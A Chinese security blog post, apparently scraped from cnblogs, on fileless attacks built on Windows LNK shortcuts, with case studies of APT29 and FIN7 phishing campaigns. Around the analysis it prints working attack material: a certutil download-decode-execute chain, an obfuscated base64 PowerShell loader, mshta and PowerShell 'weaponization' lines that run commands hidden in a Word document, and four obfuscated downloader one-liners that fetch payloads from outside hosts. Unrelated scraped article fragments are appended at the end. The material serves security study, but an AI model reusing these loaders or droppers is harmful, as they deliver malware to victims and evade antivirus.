利用LNK进行的无文件攻击

前言



今日揭示一项众多APT组织常用的攻击手法---lnk攻击,因为该项攻击可以创建一个新的快捷方式作为间接手段,可以伪装使其看起来像一个合法的程序。

目录



0x00 什么是“无文件攻击”

0x01 LNK攻击剖析

0x02 案例分析

0x03 样本全家桶

0x04 参考链接

0x00 什么是“无文件攻击”



安全搞了这么久,好像经常有听到过APT的一些攻击手法,例如“鱼叉钓鱼”、“水坑攻击”等等。这里着重介绍下“无文件攻击”,这里的无文件攻击,并不是不带文件的攻击,通常是用来指恶意程序没有直接落地到目标系统的磁盘的攻击手法,一般情况下“无文件攻击”会把有效载荷直接在内存中执行,或是注入到其他进程中进行恶意操作等。正是这种不落地目标系统的攻击手法,也是让很多AV(Anti Virus/反病毒软件)很头痛的一种攻击手法。

这里借鉴一下FREEBUF的一张图来概括

 

0x01 LNK攻击剖析



一般我们创建的快捷文件属性如下:

其中目标给出了我们执行该快捷方式要运行的程序。

再来看看我们的恶意LNK样本的

由于快捷方式的目标最大显示为260个字符,所有这里并没有显示完全。

因为命令行参数的最大长度是4096个字符,所以这里通过WScript.Shell组件去查看相关信息

需要修改的时候可以直接通过如下方式修改相关参数,并通过Save()保存

$shortcut.Arguments="/c certutil.exe -urlcache -split -f http://xxx.xxx/xxx.txt"

Arguments字段如下:

C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png %USERPROFILE%\AppData\Local\Temp\a.png && certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png delete && certutil.exe -decode %USERPROFILE%\AppData\Local\Temp\a.png %USERPROFILE%\AppData\Local\Temp\b.exe && C:\Windows\System32\cmd.exe /c %USERPROFILE%\AppData\Local\Temp\b.exe && C:\Windows\System32\cmd.exe/cdel%USERPROFILE%\AppData\Local\Temp\b.exe&&C:\Windows\System32\cmd.exe/ccls&&C:\Windows\System32\cmd.exe

大体就是通过certutil下载远程的PNG文件,并通过-decode解码成EXE执行。

C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png %USERPROFILE%\AppData\Local\Temp\a.png&& certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png delete&& certutil.exe -decode %USERPROFILE%\AppData\Local\Temp\a.png %USERPROFILE%\AppData\Local\Temp\b.exe&& C:\Windows\System32\cmd.exe /c %USERPROFILE%\AppData\Local\Temp\b.exe&& C:\Windows\System32\cmd.exe /c del %USERPROFILE%\AppData\Local\Temp\b.exe&& C:\Windows\System32\cmd.exe /c cls&& C:\Windows\System32\cmd.exe

效果如下:

而且还有窗口下载的延迟效果,确实够憨憨

我在这里绘制了一张图来概括该LNK作为加载器来执行恶意行为的流程

用Mcafee扫描一下没啥毛病~

还可以更改%SystemRoot%\System32\imageres.dll中相关图标使其看起来更具可信度

0x02 案例分析
看来越是简单的越看不透啊
案例一、疑似APT29网络钓鱼活动
恶意文件伪装成美国国务院公共事务官员共享官方文件针对多个行业的入侵企图,包括智库,执法,媒体,美国军方,图像,运输,制药,国家政府和国防,具体见图:

里面只包含了唯一的一个恶意链接

点开后会从恶意链接上下载一个ZIP包,里面包含恶意的LNK文件(MD5:6ed0020b0851fb71d5b0076f4ee95f3c),其LNK文件将会调用Powershell执行如下命令

powershell.exe -noni -ep bypass$zk=‘JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJEVudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUpO30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2enZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZCgkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFycmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkb2UpO2lleCAkems7‘;$fz=‘FromBase‘+0x40+‘String‘;$rhia=[Text.Encoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;

该代码中带有一定的混淆,比如FromBase‘+0x40+‘String就是FromBase64String,来解密$zk中的base64代码。

解码后的命令包括额外的PowerShell,它将ds7002.lnk的内容从偏移量0x5e2be读取到偏移量0x623b6,base64解码提取的内容,并将其作为附加的PowerShell内容执行。
案例二、FIN7的网络钓鱼

FIN7已将VBE作为OLE对象嵌入了一年多,但它们仍在继续更新其脚本启动机制。在当前的诱饵中,恶意DOCX和RTF都试图说服用户双击文档中的图像,如图1所示。这会在文档中生成隐藏的嵌入式恶意LNK文件。总的来说,这是一种更有效的网络钓鱼策略,因为恶意内容嵌入在文档内容中而不是打包在OLE对象中。

lnk会调用“mshta.exe”并传递如下参数:

vbscript:Execute("On Error Resume Next:set w=GetObject(,""Word.Application""):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close")

参数中的脚本组合了文档中的所有文本框内容并执行它们。

武器化

看了FIN7的案例之后再结合前些天看无法老哥的文章,可以结合起来实现自己的武器化步骤。

首先创建一个恶意LNK文件

具体的恶意代码如下:

mshta vbscript:CreateObject("Wscript.Shell").Run(CreateObject("Word.Application").Documents.Open("C:\Users\wh4am\Desktop\Bots.docx").Application.ActiveDocument.Shapes(2).TextFrame.TextRange.Text,0,true)(window.close)

通过mshta调用Word.Application获取Bots.docx中的第二个文本框内容。

打开docx可以看到有两个文本框,其中第二个文本框的内容是:

Cmd.exe /c calc.exe

所以该LNK恶意文件具体的内容就是在运行后,获取第二个文本框中的内容,然后调用Wscript.Shell组件的run去执行该内容的命令。

这里我还通过类似的powershell也能去获取文本框的内容

相关代码如下:

Invoke-Expression (New-Object -COM kwps.application).Documents.Open("""C:\Users\wh4am\Desktop\Bots.docx""").Application.ActiveDocument.Shapes(2).TextFrame.TextRange.Text

“咦,小编同学你为什么要用三个双引号啊?”

虽然通过powershell会更好一点,总比mshta被AV群殴好

虽然powershell还是会有一些小毛病,不过不妨碍payload执行

唔,powershell牛逼。

还可以通过RLO欺骗技术来做成一个png格式的

这里后面就不细说了,纯属技术探讨,切勿用来不法之处!!否则小编不负任何责任!!!

0x03 样本全家桶

不要误解这个意思,只是把我网上搜集的利用思路看了下,其实都大同小异。

Powershell.exe "$lnt=[string][char[]]@(0x68,0x74,0x74,0x70) -replace ‘ ‘,‘‘;$lnt=$$lnt+‘://url.cn/abcd‘;mshta lnt;http://url.cn/abcd --> hat文件
powershell.exe -noP -eP ByPass -nonI -c "&{$u=‘finmstr‘ -replace ‘m‘,‘d‘; $vas=‘powershell -wi"N "hi"dDen -c { ‘+$u+‘ /s jerdolikab c:\users\*.lnk}‘; $ir=iex "$vas"; "$ir"|iex}"
cmd.exe /V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v"&&echo%x:77jhd2766=%|%ComSpec%"
set x4OAGWfxlES02z6NnUkK=2whttpr0set L1U03HmUO6B9IcurCNNlo4=.comecho | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/set aZM4j3ZhPLBn9MpuxaO= -win 1set MlyavWfE=ndowsset jA8Axao1xcZ=iExset WMkgA3uXa1pXx=tRiset KNhGmAqHG5=bJeset 4kxhaz6bqqKC=LOadset rwZCnSC7T=nopset jcCvC=NEwset ZTVZ=wEbcset DABThzRuTT2hYjVOy=nt).dowset cwdOsPOdA08SZaXVp1eFR=t NeT.set Rb=Ersset j4HfRAqYXcRZ3R=hEllset Kpl01SsXY5tthb1=.bmpset vh7q6Aq0zZVLclPm=\\v1.0\\set 2Mh=pOwset 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%@echo off%SystemDrive%cd\\cd %SystemRoot%\\System32echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG(‘%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%‘)"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe

上述是我找到的四种方式不同的恶意代码,如果你有不同的思路或者样本,欢迎留言公众号交流哦~

0x04 参考链接

  • https://attack.mitre.org/techniques/T1023/
  • https://xz.aliyun.com/t/4143
  • https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
  • https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
  • https://github.com/EricZimmerman/LECmd
  • https://bitofhex.com/2019/07/15/deriving-intelligence-from-lnk-files/
  • https://www.malware-traffic-analysis.net/2018/10/19/index.html
  • https://securitynews.sonicwall.com/xmlpost/lnk-file-is-actively-being-leveraged-to-run-file-less-powershell-script/
  • https://www.freebuf.com/column/203131.html

原文地址:https://www.cnblogs.com/wh4am1/p/11444190.html

时间: 2024-10-09 01:03:08

利用LNK进行的无文件攻击的相关文章

防病毒技术:无文件攻击

如今,无文件攻击已经常态化了.虽然一些攻击和恶意软件家族在其攻击的各个方面都企图实现无文件化,但只有一些功能才能实现无文件化.对于攻击者来说,无文件化只是试图绕过攻击的一种手段,至于是否有文件,都只是表象. 无文件攻击简介 "无文件攻击"这一术语往往会让人产生歧义,比如无文件攻击就代表真的没有攻击文件吗?没有文件又如何实施攻击?如何检测?如何防御--,其实"无文件攻击"只是一种攻击策略,其出发点就是避免将恶意文件放在磁盘上,以逃避安全检测.有一点需要明确,就是无文件

利用“进程注入”实现无文件复活 WebShell

引子 上周末,一个好兄弟找我说一个很重要的目标shell丢了,这个shell之前是通过一个S2代码执行的漏洞拿到的,现在漏洞还在,不过web目录全部不可写,问我有没有办法搞个webshell继续做内网.正好我之前一直有个通过"进程注入"来实现内存webshell的想法,于是就趁这个机会以Java为例做了个内存webshell出来(暂且叫它memShell吧),给大家分享一下:) 前言 一般在渗透过程中,我们通常会用到webshell,一个以文件的形式存在于Web容器内的恶意脚本文件.我

60字节 - 无文件渗透测试实验

0x00 缘由 前几天看到文章<全球上百家银行和金融机构感染了一种"无文件"恶意程序,几乎无法检测>,希望自己能够亲手实验一下,以最大程度还原这种"无文件"攻击方式. 0x01 拓扑设计 192.168.1.0/24: 模拟公网环境 172.21.132.0/24: 模拟企业内网环境 192.168.1.108: 黑客 Kali 攻击机 192.168.1.212: 黑客 Windows 攻击机 边界 Web 服务器双网卡(公网的:192.168.1.1

利用foo函数的Bof漏洞攻击

利用foo函数的Bof漏洞攻击 一.基础知识储备 objdump反汇编指令.gdb函数调试运行.Perl语言.|管道符 二.实验步骤 1. 通过反汇编了解程序功能及代码 ①反汇编查看文件内容 ②可以知道getShell函数地址为0804847d ③可知foo函数执行完成之后,系统会调用的下一条指令的地址为80484ba,此地址为返回地址 我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数.

【COCOS2DX-LUA 脚本开发之十二】Hybrid模式-利用AssetsManager实现在线更新脚本文件lua、js、图片等资源(免去平台审核周期)

转载自:http://www.himigame.com/iphone-cocos2dx/1354.html 首先说明一个问题: 为什么要在线更新资源和脚本文件!? 对于此问题,那要说的太多了,简单概括,如果你的项目已经在google play 或Apple Store 等平台上架了,那么当你项目需要做一些活动或者修改前端的一些代码等那么你需要重新提交一个新版本给平台,这时候你的上架时候是个不确定的时候,具体什么时候能上架,主要跟平台有关,你再着急,也没有用的. 那么如果你的项目是使用脚本语言进行

WCF利用Stream上传大文件

WCF利用Stream上传大文件 转自别人的文章,学习这个例子,基本上wcf也算入门了,接口用法.系统配置都有了 本文展示了在asp.net中利用wcf的stream方式传输大文件,解决了大文件上传问题.主要是存档方便以后遇到该问题是来查阅.贴出部分代码,如果有疑惑或需要完整代码的请留言 WebForm1.aspx.cs protected void Button1_Click(object sender, EventArgs e) {             FileData file = n

利用虚拟内存实现高性能的文件读写,绕过磁盘io

前端:nginx+lua lua负责读取一个 写着每个业务拒绝服务概率的文件,按这个比例在流量过载时抛弃一定比例的请求. 策略生成:每分钟去获取节点流量和本机的网卡流量占比,去生成概率文件. 传统的实现: 写到磁盘,每个请求过来 lua 都去磁盘上io读取/关闭.实时大量的请求是无法承受的. 改进: 利用虚拟内存实现高效率的文件读取,因为文件本身就是在内存中的,没有io之说. 创建内存文件系统,文件讲都存储在内存中 系统默认的地址是 /dev/shm 可以把文件写到这里,和普通文件读写一样,只不

利用模板导出文件(二)之jacob利用word模板导出word文件(Java2word)

先下载jacob.jar包. 解压后将jacob.dll放到windows/system32以下或\jre\bin以下. 将jacob.jar增加项目. 这样项目的环境基本上搭建完毕,接下来就是书写相关的代码: /** * 传入数据为HashMap对象,对象中的Key代表word模板中要替换的字段.Value代表用来替换的值. * word模板中全部要替换的字段(即HashMap中的Key)以特殊字符开头和结尾. * 如:$code$.$date$--.以免执行错误的替换. * 全部要替换为图片

利用spring的MultipartFile实现文件上传【原】

利用spring的MultipartFile实现文件上传 主要依赖jar包 spring-web-3.0.6.RELEASE.jar 用到 (org.springframework.web.multipart.MultipartFile)commons-fileupload-1.3.1.jarcommons-logging-1.0.4.jar 前台 <!DOCTYPE html> <html lang="en"> <head> <meta ch